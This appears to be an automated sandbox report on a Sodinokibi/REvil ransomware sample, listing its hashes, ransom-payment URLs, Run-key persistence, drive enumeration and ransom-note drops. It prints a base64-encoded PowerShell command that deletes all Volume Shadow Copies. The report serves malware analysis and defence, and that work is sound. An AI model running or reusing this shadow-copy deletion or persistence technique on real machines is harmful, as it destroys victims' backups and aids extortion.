Analysis
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max time kernel
142s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24-09-2024 12:04
Static task
static1
Behavioral task
behavioral1
Sample
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
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Size
166KB
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MD5
f399f74045c127d9bab9b10fa2e81ea9
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SHA1
fa73ebc39f144e16da0b823baa594861535d094d
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SHA256
58ca453b81a5506420ef00a945ad3b3841e4ad7d5ecaf1bb983ac3c3db5ab8c1
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SHA512
3533726b13aa0f98338896afa74b04f5f5a9b8a585357077916b06c02871585ead103048aee981e5ea9d9fdd1c87c196db445b55e98d1a984b1aeff43bd5c7d1
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SSDEEP
3072:EJMawtnGqtWoKeZC62aoNUSncCyxFXtuk3F8/A:+w9vteQJYUoczJIA
Malware Config
Extracted
C:\Users\4teh8h-read-me.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F65B27EB260E0788
http://decryptor.cc/F65B27EB260E0788
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe" f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription ioc Process File opened (read-only) \??\F: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\A: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\E: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\J: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\K: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\P: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Q: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\T: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\V: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\G: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\L: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\M: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\O: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Z: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\S: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\U: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\W: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\B: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\H: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\I: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\N: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\R: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\X: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Y: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\D: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\i69065s2h.bmp" f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Drops file in Program Files directory 36 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription ioc Process File opened for modification \??\c:\program files\EnterUnprotect.vb f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\MeasureSearch.wmv f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\RestoreUnprotect.xht f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\SkipFormat.ini f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\4teh8h-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ConfirmUnprotect.html f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\DisconnectRevoke.mid f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertFromDisconnect.mpg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\GetWatch.rtf f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\PublishSet.M2V f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UnregisterComplete.aiff f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\4teh8h-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files (x86)\4teh8h-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\BackupEdit.xhtml f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\RegisterStep.xla f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\SplitStop.nfo f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishRestore.easmx f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\HideSet.vsd f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\TraceDeny.zip f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\CompletePush.ttc f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\JoinResume.wvx f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UnblockSelect.jpg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishMerge.mpeg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files\4teh8h-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\CloseProtect.docx f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\SplitMove.dib f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UseBackup.ogg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ExitUse.svg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\LimitPop.mht f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\GroupResolve.docx f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\InstallReset.ps1xml f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\OpenRepair.xml f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\SuspendExit.pps f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\4teh8h-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\AddRead.M2T f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ConnectSave.ogg f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exepowershell.exepid Process 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 2908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exepowershell.exevssvc.exedescription pid Process Token: SeDebugPrivilege 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe Token: SeDebugPrivilege 2908 powershell.exe Token: SeBackupPrivilege 896 vssvc.exe Token: SeRestorePrivilege 896 vssvc.exe Token: SeAuditPrivilege 896 vssvc.exe Token: SeTakeOwnershipPrivilege 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exedescription pid Process procid_target PID 2300 wrote to memory of 2908 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 30 PID 2300 wrote to memory of 2908 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 30 PID 2300 wrote to memory of 2908 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 30 PID 2300 wrote to memory of 2908 2300 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2892
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:896
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
9KB
MD5c5643770a085f68b1c1362b9e08bbc57
SHA18e76be5673015da6109884d57dc929c19244d2ad
SHA2568ef9b9ca42bc4390f97592f5fb33c3c001d16dd26aa257bac4ff932d8af8864c
SHA5127efff8008b110091611383f3484b35bf424e3283393be863beb83e730f9cfb233cee69ab7988e5cf869a3c43559879af6c60a1f73e9325a5bf068e68edd62bd4